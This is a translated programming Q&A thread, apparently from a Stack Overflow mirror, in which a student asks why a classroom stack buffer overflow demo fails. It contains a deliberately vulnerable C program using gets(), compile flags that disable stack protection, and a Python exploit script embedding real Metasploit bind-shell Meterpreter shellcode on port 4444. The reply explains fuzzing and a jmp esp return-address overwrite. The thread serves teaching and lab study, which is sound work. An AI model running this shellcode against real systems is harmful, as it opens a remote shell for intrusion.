Переполнение буфера в программе образца C - PullRequest
0 голосов
/ 14 ноября 2018

Могу ли я узнать, как увеличить длину ESP в примере программы c, которая позволяет мне выполнять шелл-код в стеке. Однако на данный момент пример программы c имеет длину ESP только 61, что является недостаточным для шелл-кода. Любая помощь приветствуется! Это для демонстрации класса для начинающих, я тоже студент, поэтому я очень плохо знаком с переполнением буфера.

Пример программы C

#include <stdio.h>
#include <string.h>

#pragma warning(disable: 4996)

int root(void)
{

    printf("\n Root privileges given to the user \n");
    return 0;
}

int user(void){

    printf("\n Normal user privileges given to the user \n");
    return 0;
}


int main(void)
{
    char buff[15];
    int pass = 0;
    int max = 15;


    printf("\n Enter the password : \n");
    //fgets(buff, max, stdin);
    gets(buff);

    if (strcmp(buff, "thegeekstuff"))
    {
        printf("\n Wrong Password \n");
    }
    else
    {
        printf("\n Correct Password \n");
        pass = 1;
    }

    if (pass == 1)
    {
        root();
    } else {
        user();
    }

    return 0;
}

Python-код для эксплойта (Win86) - bind_tcp_staged_meterpreter [LPORT = 4444]

* Примечание: добавлена ​​инструкция для (добавить esp, -1500) перед полезной нагрузкой bind shell

#! python

import os
import sys
import subprocess
import binascii
import time

ESP_Address = bytes.fromhex('5954C377')

buf =  ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"


bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()

final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload

p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()

sys.exit(0)

Код, используемый для компиляции c-программы в Windows XP SP 1

gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe

То, что я пробовал ... очень неловко, но безуспешно:

  1. Программа компиляции C с опцией -Wl,--stack,4194304

  2. Попытка увеличить размер стека путем создания фиктивных переменных с огромными буферами (очевидно, это сокращает длину ESP ...)

  3. Запуск cmd от имени администратора ...

  4. Отключение брандмауэра

  5. Тестирование подключения с помощью nc IP_ADDRESS 4444, но подключение отклонено (оболочка связывания не была успешно сгенерирована из кода эксплойта) - будет использоваться обработчик meterpreter после успешного установления подключения для поэтапной полезной нагрузки

Примечания

Программа не аварийно завершает работу с шелл-кодом в качестве ввода ... Однако, если вставлена ​​строка из 100 символов, программа аварийно завершает работу.

1 Ответ

0 голосов
/ 18 ноября 2018

Вы не описали, как вы нашли адрес возврата в стеке и почему вы добавили 'add esp', поэтому я просто помогу вам получить его с самого начала и надеюсь, что он поможет вам.

Сначалаиз всех вы должны запустить программу в отладчике (я рекомендую IDA Pro) и начать фаззинг, чтобы увидеть, где адрес возврата хранится в стеке.

После этого попытайтесь не использовать некоторые шелл-коды и попытайтесь запуститькорневая функция из кода, поэтому, если она будет работать, вам будет показана строка вывода.Буфер должен выглядеть так: «A * return_address_offset + root_address», если он будет работать, вы можете использовать простой шелл-код вместо корневой функции, поместив его в буфер и переписав адрес возврата с помощью 'jmp esp', чтобы шелл-код, который поместилв стеке будет работать.если вы не перейдете к шелл-коду в стеке, программа обработает первые 4 байта шелл-кода как адрес и попытается перейти туда, и, скорее всего, этот адрес будет недопустимым, поэтому программа вылетит.

Если вы не понимаете, как все это работает, вам следует прочитать о стеке и соглашениях о вызовах, а также о том, как программа вызывает и возвращает функцию.

Существует учебник по эксплуатации, который также должен помочьты.

Надеюсь, я тебе помог!

...